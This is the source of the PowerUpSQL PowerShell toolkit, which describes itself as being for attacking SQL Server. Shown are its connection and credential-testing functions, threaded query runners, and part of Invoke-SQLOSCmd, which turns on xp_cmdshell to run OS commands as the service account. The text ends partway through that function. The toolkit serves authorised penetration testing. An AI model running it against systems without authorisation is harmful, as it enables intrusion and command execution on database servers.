PowerUpSQL

1.0.0.17

PowerUpSQL.ps1

#requires -Modules DnsClient, Microsoft.PowerShell.Utility
#requires -version 3
<#
        File: PowerUpSQL.ps1
        Author: Scott Sutherland (@_nullbind), NetSPI - 2016
        Contributors: Antti Rantasaari and Eric Gruber
        Version: 1.0.0.17
        Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server.
        License: BSD 3-Clause
        Required Dependencies: PowerShell v.3
        Optional Dependencies: None
#>

#########################################################################
#
#region CORE FUNCTIONS
#
#########################################################################

# ----------------------------------
# Get-SQLConnectionObject
# ----------------------------------
# Author: Scott Sutherland
# Reference: https://msdn.microsoft.com/en-us/library/ms188247.aspx
Function  Get-SQLConnectionObject 
{
    <#
            .SYNOPSIS
            Creates a object for connecting to SQL Server.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Database
            Default database to connect to.
            .EXAMPLE
            PS C:\> Get-SQLConnectionObject -Username MySQLUser -Password MySQLPassword
 
            StatisticsEnabled : False
            AccessToken :
            ConnectionString : Server=SQLServer1;Database=Master;User ID=MySQLUser;Password=MySQLPassword;Connection Timeout=1
            ConnectionTimeout : 1
            Database : Master
            DataSource : SQLServer1
            PacketSize : 8000
            ClientConnectionId : 00000000-0000-0000-0000-000000000000
            ServerVersion :
            State : Closed
            WorkstationId : SQLServer1
            Credential :
            FireInfoMessageEventOnUserErrors : False
            Site :
            Container :
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Dedicated Administrator Connection (DAC).')]
        [Switch]$DAC,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Default database to connect to.')]
        [String]$Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [string]$TimeOut = 1
    )

    Begin
    {           
        # Setup DAC string
        if($DAC)
        {
            $DacConn = 'ADMIN:'
        }
        else
        {
            $DacConn = ''
        }

        # Set database filter
        if(-not $Database)
        {
            $Database = 'Master'
        }
    }

    Process
    {
        # Check for instance
        if ( -not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Create connection object
        $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
    
        # Check for username and password
        if($Username -and $Password)
        {
            # Setup connection string with SQL Server credentials
            $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"
        }
        else
        {
            # Get connecting user
            $UserDomain = [Environment]::UserDomainName
            $Username = [Environment]::UserName
            $ConnectionectUser = "$UserDomain\$Username"

            # Status user
            Write-Debug -Message "Attempting to authenticate to $DacConn$Instance as current Windows user ($ConnectionectUser)..."

            # Setup connection string with trusted connection
            $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" 
            
            <#
            # Check for provided credential
            if ($Credential){
                 
                $Username = $credential.Username
                $Password = $Credential.GetNetworkCredential().Password
 
                # Setup connection string with SQL Server credentials
                $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"
            }
            #>                                
        }       

        # Return the connection object
        return $Connection                     
    }

    End
    {                
    }
}


# ----------------------------------
# Get-SQLConnectionTest
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLConnectionTest 
{
    <#
            .SYNOPSIS
            Tests if the current Windows account or provided SQL Server login can log into an SQL Server.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER Database
            Default database to connect to.
            .PARAMETER TimeOut
            Connection time out.
            .PARAMETER SuppressVerbose
            Suppress verbose errors. Used when function is wrapped.
            .EXAMPLE
            PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress"
            .EXAMPLE
            PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433"
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTest -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
                ValueFromPipeline,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connect using Dedicated Admin Connection.')]
        [Switch]$DAC,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Default database to connect to.')]
        [String]$Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [string]$TimeOut,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Setup data table for output
        $TblResults = New-Object -TypeName System.Data.DataTable
        $null = $TblResults.Columns.Add('ComputerName')
        $null = $TblResults.Columns.Add('Instance')
        $null = $TblResults.Columns.Add('Status')
    }

    Process
    {      
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Setup DAC string
        if($DAC)
        {
            # Create connection object
            $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database
        }
        else
        {
            # Create connection object
            $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
        }

        # Attempt connection
        try
        {
            # Open connection
            $Connection.Open()                                              

            if(-not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }

            # Add record
            $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')

            # Close connection
            $Connection.Close()

            # Dispose connection
            $Connection.Dispose() 
        }
        catch
        {
            # Connection failed
            if(-not $SuppressVerbose)
            {
                $ErrorMessage = $_.Exception.Message
                Write-Verbose -Message "$Instance : Connection Failed."
                Write-Verbose  -Message " Error: $ErrorMessage"
            }

            # Add record
            $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
        }          
    }

    End
    {   
        # Return Results
        $TblResults          
    }
}


# ----------------------------------
# Get-SQLConnectionTestThreaded
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLConnectionTestThreaded 
{
    <#
            .SYNOPSIS
            Tests if the current Windows account or provided SQL Server login can log into an SQL Server. This version support threading using runspaces.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER Database
            Default database to connect to.
            .PARAMETER TimeOut
            Connection time out.
            .PARAMETER SuppressVerbose
            Suppress verbose errors. Used when function is wrapped.
            .PARAMETER Threads
            Number of concurrent threads.
            .EXAMPLE
            PS C:\> Get-SQLConnectionTestThreaded -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Threads 15
            .EXAMPLE
            PS C:\> Get-SQLConnectionTestThreaded -Verbose -Instance "SQLSERVER1.domain.com,1433" -Threads 15
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
                ValueFromPipeline,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connect using Dedicated Admin Connection.')]
        [Switch]$DAC,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Default database to connect to.')]
        [String]$Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [string]$TimeOut,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Number of threads.')]
        [int]$Threads = 5,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Setup data table for output
        $TblResults = New-Object -TypeName System.Data.DataTable
        $null = $TblResults.Columns.Add('ComputerName')
        $null = $TblResults.Columns.Add('Instance')
        $null = $TblResults.Columns.Add('Status')

        # Setup data table for pipeline threading
        $PipelineItems = New-Object -TypeName System.Data.DataTable

        # set instance to local host by default
        if(-not $Instance){ 
            $Instance = $env:COMPUTERNAME
        }

        # Ensure provided instance is processed
        if($Instance)
        {            
            $ProvideInstance = New-Object -TypeName PSObject -Property @{
                Instance = $Instance
            }            
        }

        # Add instance to instance list
        $PipelineItems = $PipelineItems + $ProvideInstance
    }

    Process
    {      
        # Create list of pipeline items
        $PipelineItems = $PipelineItems + $_         
    }

    End
    {   
        # Define code to be multi-threaded
        $MyScriptBlock = {

            # Setup instance
            $Instance = $_.Instance
            
            # Parse computer name from the instance
            $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

            # Setup DAC string
            if($DAC)
            {
                # Create connection object
                $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database
            }
            else
            {
                # Create connection object
                $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
            }

            # Attempt connection
            try
            {
                # Open connection
                $Connection.Open()                                              

                if(-not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Success."
                }

                # Add record
                $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')

                # Close connection
                $Connection.Close()

                # Dispose connection
                $Connection.Dispose() 
            }
            catch
            {
                # Connection failed
                                 
                if(-not $SuppressVerbose)
                {
                    $ErrorMessage = $_.Exception.Message
                    Write-Verbose -Message "$Instance : Connection Failed."
                    #Write-Verbose " Error: $ErrorMessage"
                }

                # Add record
                $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
            }                              
        }         

        # Run scriptblock using multi-threading
        $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue                

        return $TblResults
    }
}


# ----------------------------------
# Get-SQLQuery
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLQuery 
{
    <#
            .SYNOPSIS
            Executes a query on target SQL servers.This
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER Database
            Default database to connect to.
            .PARAMETER TimeOut
            Connection time out.
            .PARAMETER SuppressVerbose
            Suppress verbose errors. Used when function is wrapped.
            .PARAMETER Threads
            Number of concurrent threads.
            .PARAMETER Query
            Query to be executed on the SQL Server.
            .EXAMPLE
            PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15
            .EXAMPLE
            PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLQuery -Verbose -Query "Select @@version" -Threads 15
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,
        
        [Parameter(Mandatory = $false,        
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server query.')]
        [string]$Query,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connect using Dedicated Admin Connection.')]
        [Switch]$DAC,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Default database to connect to.')]
        [String]$Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [int]$TimeOut,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Return error message if exists.')]
        [switch]$ReturnError
    )

    Begin
    {
        # Setup up data tables for output
        $TblQueryResults = New-Object -TypeName System.Data.DataTable
    }

    Process
    {      
        # Setup DAC string
        if($DAC)
        {
            # Create connection object
            $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database
        }
        else
        {
            # Create connection object
            $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
        }

        # Parse SQL Server instance name
        $ConnectionString = $Connection.Connectionstring
        $Instance = $ConnectionString.split(';')[0].split('=')[1]

        # Check for query
        if($Query)
        {
            # Attempt connection
            try
            {
                # Open connection
                $Connection.Open()

                if(-not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Success."
                }

                # Setup SQL query
                $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)

                # Grab results
                $Results = $Command.ExecuteReader()                                             

                # Load results into data table
                $TblQueryResults.Load($Results)                                                                                      

                # Close connection
                $Connection.Close()

                # Dispose connection
                $Connection.Dispose() 
            }
            catch
            {
                # Connection failed - for detail error use Get-SQLConnectionTest
                if(-not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Failed."
                }

                if($ReturnError)
                {                                                 
                    $ErrorMessage = $_.Exception.Message          
                    #Write-Verbose " Error: $ErrorMessage"
                }
            }
        }
        else
        {
            Write-Output -InputObject 'No query provided to Get-SQLQuery function.'
            Break
        }
    }

    End
    {   
        # Return Results
        if($ReturnError)
        {
            $ErrorMessage
        }
        else
        {
            $TblQueryResults
        }                  
    }
}


# ----------------------------------
# Get-SQLQueryThreaded
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLQueryThreaded 
{
    <#
            .SYNOPSIS
            Executes a query on target SQL servers.This version support threading using runspaces.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER Database
            Default database to connect to.
            .PARAMETER TimeOut
            Connection time out.
            .PARAMETER SuppressVerbose
            Suppress verbose errors. Used when function is wrapped.
            .PARAMETER Threads
            Number of concurrent host threads.
            .PARAMETER Query
            Query to be executed on the SQL Server.
            .EXAMPLE
            PS C:\> Get-SQLQueryThreaded -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15
            .EXAMPLE
            PS C:\> Get-SQLQueryThreaded -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLQueryThreaded -Verbose -Query "Select @@version" -Threads 15
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
                ValueFromPipeline,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connect using Dedicated Admin Connection.')]
        [Switch]$DAC,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Default database to connect to.')]
        [String]$Database,

        [Parameter(Mandatory = $true,
        HelpMessage = 'Query to be executed.')]
        [String]$Query,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [string]$TimeOut,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Number of threads.')]
        [int]$Threads = 5,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Setup data table for output
        $TblResults = New-Object -TypeName System.Data.DataTable

        # Setup data table for pipeline threading
        $PipelineItems = New-Object -TypeName System.Data.DataTable

        # Ensure provide instance is processed
        if($Instance)
        {
            $ProvideInstance = New-Object -TypeName PSObject -Property @{
                Instance = $Instance
            }
            $PipelineItems = $PipelineItems + $ProvideInstance
        }
    }

    Process
    {      
        # Create list of pipeline items
        $PipelineItems = $PipelineItems + $_         
    }

    End
    {   
        # Define code to be multi-threaded
        $MyScriptBlock = {
            $Instance = $_.Instance
            
            # Parse computer name from the instance
            $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

            # Setup DAC string
            if($DAC)
            {
                # Create connection object
                $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database
            }
            else
            {
                # Create connection object
                $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
            }

            # Attempt connection
            try
            {
                # Open connection
                $Connection.Open()                                              

                if(-not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Success."
                }

                # Setup SQL query
                $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)

                # Grab results
                $Results = $Command.ExecuteReader()                                         

                # Load results into data table
                $TblResults.Load($Results)  

                # Close connection
                $Connection.Close()

                # Dispose connection
                $Connection.Dispose() 
            }
            catch
            {
                # Connection failed
                                 
                if(-not $SuppressVerbose)
                {
                    $ErrorMessage = $_.Exception.Message
                    Write-Verbose -Message "$Instance : Connection Failed."
                    #Write-Verbose " Error: $ErrorMessage"
                }

                # Add record
                $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
            }                              
        }         

        # Run scriptblock using multi-threading
        $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue                

        return $TblResults
    }
}

#endregion

#########################################################################
#
#region COMMON FUNCTIONS
#
#########################################################################

# ----------------------------------
# Invoke-SQLOSCmd
# ----------------------------------
# Author: Scott Sutherland
Function  Invoke-SQLOSCmd 
{
    <#
            .SYNOPSIS
            Execute command on the operating system as the SQL Server service account using xp_cmdshell. Supports threading, raw output, and table output.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER TimeOut
            Connection time out.
            .PARAMETER SuppressVerbose
            Suppress verbose errors. Used when function is wrapped.
            .PARAMETER Threads
            Number of concurrent threads.
            .PARAMETER Command
            Operating command to be executed on the SQL Server.
            .PARAMETER RawResults
            Just show the raw results without the computer or instance name.
            .EXAMPLE
            PS C:\> Invoke-SQLOSCmd -Verbose -Instance "SQLServer1" -Command "dir c:\windows\system32\drivers\etc\" -RawResults
            VERBOSE: Creating runspace pool and session states
            VERBOSE: SQLServer1 : Connection Success.
            VERBOSE: SQLServer1 : Connection Success.
            VERBOSE: SQLServer1 : You are a sysadmin.
            VERBOSE: SQLServer1 : Show Advanced Options is disabled.
            VERBOSE: SQLServer1 : Enabled Show Advanced Options.
            VERBOSE: SQLServer1 : xp_cmdshell is disabled.
            VERBOSE: SQLServer1 : Enabled xp_cmdshell.
            VERBOSE: SQLServer1 : Running command: dir c:\windows\system32\drivers\etc\
            VERBOSE: SQLServer1 : Disabling xp_cmdshell
            VERBOSE: SQLServer1 : Disabling Show Advanced Options
            Volume in drive C is OSDisk
            Volume Serial Number is C044-F8BC
 
            VERBOSE: Closing the runspace pool
            output
            ------
       
            Directory of c:\windows\system32\drivers\etc
       
            06/22/2016 09:09 AM <DIR> .
            06/22/2016 09:09 AM <DIR> ..
            09/22/2015 10:16 AM 851 hosts
            08/22/2013 10:35 AM 3,683 lmhosts.sam
            08/22/2013 08:25 AM 407 networks
            08/22/2013 08:25 AM 1,358 protocol
            08/22/2013 08:25 AM 17,463 services
            5 File(s) 23,762 bytes
            2 Dir(s) 56,438,497,280 bytes free
            .EXAMPLE
            PS C:\> Invoke-SQLOSCmd -Verbose -Instance "SQLSERVER1.domain.com,1433" -Command "whoami"
            Invoke-SQLOSCmd -Verbose -Instance "SQLServer1" -Command "whoami"
            VERBOSE: Creating runspace pool and session states
            VERBOSE: SQLServer1 : Connection Success.
            VERBOSE: SQLServer1 : Connection Success.
            VERBOSE: SQLServer1 : You are a sysadmin.
            VERBOSE: SQLServer1 : Show Advanced Options is disabled.
            VERBOSE: SQLServer1 : Enabled Show Advanced Options.
            VERBOSE: SQLServer1 : xp_cmdshell is disabled.
            VERBOSE: SQLServer1 : Enabled xp_cmdshell.
            VERBOSE: SQLServer1 : Running command: whoami
            VERBOSE: SQLServer1 : Disabling xp_cmdshell
            VERBOSE: SQLServer1 : Disabling Show Advanced Options
            VERBOSE: Closing the runspace pool
 
            ComputerName Instance CommandResults
            ------------ -------- --------------
            SQLServer1 SQLServer1 nt service\mssqlserver
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Invoke-SQLOSCmd -Verbose -Command "whoami" -Threads 5
            Get-SQLInstanceLocal | Invoke-SQLOSCmd -Verbose -Command "whoami"
            VERBOSE: Creating runspace pool and session states
            VERBOSE: SQLServer1\SQLEXPRESS : Connection Success.
            VERBOSE: SQLServer1\SQLEXPRESS : Connection Success.
            VERBOSE: SQLServer1\SQLEXPRESS : You are a sysadmin.
            VERBOSE: SQLServer1\SQLEXPRESS : Show Advanced Options is already enabled.
            VERBOSE: SQLServer1\SQLEXPRESS : xp_cmdshell is already enabled.
            VERBOSE: SQLServer1\SQLEXPRESS : Running command: whoami
            VERBOSE: SQLServer1\STANDARDDEV2014 : Connection Success.
            VERBOSE: SQLServer1\STANDARDDEV2014 : Connection Success.
            VERBOSE: SQLServer1\STANDARDDEV2014 : You are a sysadmin.
            VERBOSE: SQLServer1\STANDARDDEV2014 : Show Advanced Options is already enabled.
            VERBOSE: SQLServer1\STANDARDDEV2014 : xp_cmdshell is already enabled.
            VERBOSE: SQLServer1\STANDARDDEV2014 : Running command: whoami
            VERBOSE: SQLServer1 : Connection Success.
            VERBOSE: SQLServer1 : Connection Success.
            VERBOSE: SQLServer1 : You are a sysadmin.
            VERBOSE: SQLServer1 : Show Advanced Options is disabled.
            VERBOSE: SQLServer1 : Enabled Show Advanced Options.
            VERBOSE: SQLServer1 : xp_cmdshell is disabled.
            VERBOSE: SQLServer1 : Enabled xp_cmdshell.
            VERBOSE: SQLServer1 : Running command: whoami
            VERBOSE: SQLServer1 : Disabling xp_cmdshell
            VERBOSE: SQLServer1 : Disabling Show Advanced Options
            VERBOSE: Closing the runspace pool
 
            ComputerName Instance CommandResults
            ------------ -------- --------------
            SQLServer1 SQLServer1\SQLEXPRESS nt service\mssql$sqlexpress
            SQLServer1 SQLServer1\STANDARDDEV2014 nt authority\system
            SQLServer1 SQLServer1 nt service\mssqlserver
 
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
                ValueFromPipeline,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connect using Dedicated Admin Connection.')]
        [Switch]$DAC,

        [Parameter(Mandatory = $true,
        HelpMessage = 'OS command to be executed.')]
        [String]$Command,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [string]$TimeOut,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Number of threads.')]
        [int]$Threads = 1,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Just show the raw results without the computer or instance name.')]
        [switch]$RawResults
    )

    Begin
    {
        # Setup data table for output
        $TblCommands = New-Object -TypeName System.Data.DataTable
        $TblResults = New-Object -TypeName System.Data.DataTable
        $null = $TblResults.Columns.Add('ComputerName')
        $null = $TblResults.Columns.Add('Instance')
        $null = $TblResults.Columns.Add('CommandResults')
        

        # Setup data table for pipeline threading
        $PipelineItems = New-Object -TypeName System.Data.DataTable

        # Ensure provide instance is processed
        if($Instance)
        {
            $ProvideInstance = New-Object -TypeName PSObject -Property @{
                Instance = $Instance
            }
            $PipelineItems = $PipelineItems + $ProvideInstance
        }
    }

    Process
    {      
        # Create list of pipeline items
        $PipelineItems = $PipelineItems + $_         
    }

    End
    {   
        # Define code to be multi-threaded
        $MyScriptBlock = {
            $Instance = $_.Instance
            
            # Parse computer name from the instance
            $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

            # Default connection to local default instance
            if(-not $Instance)
            {
                $Instance = $env:COMPUTERNAME
            }

            # Setup DAC string
            if($DAC)
            {
                # Create connection object
                $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut
            }
            else
            {
                # Create connection object
                $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut
            }

            # Attempt connection
            try
            {
                # Open connection
                $Connection.Open()                                              

                if(-not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Success."
                }
               
                # Switch to track xp_cmdshell status
                $DisableShowAdvancedOptions = 0
                $DisableXpCmdshell = 0

                # Get sysadmin status
                $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin               
      
                # Check if xp_cmdshell is enabled
                if($IsSysadmin -eq 'Yes')
                {
                    Write-Verbose -Message "$Instance : You are a sysadmin." 
                    $IsXpCmdshellEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value
                    $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value
                }
                else
                {
                    Write-Verbose -Message "$Instance : You are not a sysadmin. This command requires sysadmin privileges." 
                     
                    # Add record
                    $null = $TblResults.Rows.Add("$ComputerName","$Instance",'No sysadmin privileges.')
                    return
                }

                # Enable show advanced options if needed
                if ($IsShowAdvancedEnabled -eq 1)
                {
                    Write-Verbose -Message "$Instance : Show Advanced Options is already enabled."
                }
                else
                {
                    Write-Verbose -Message "$Instance : Show Advanced Options is disabled."
                    $DisableShowAdvancedOptions = 1

                    # Try to enable Show Advanced Options
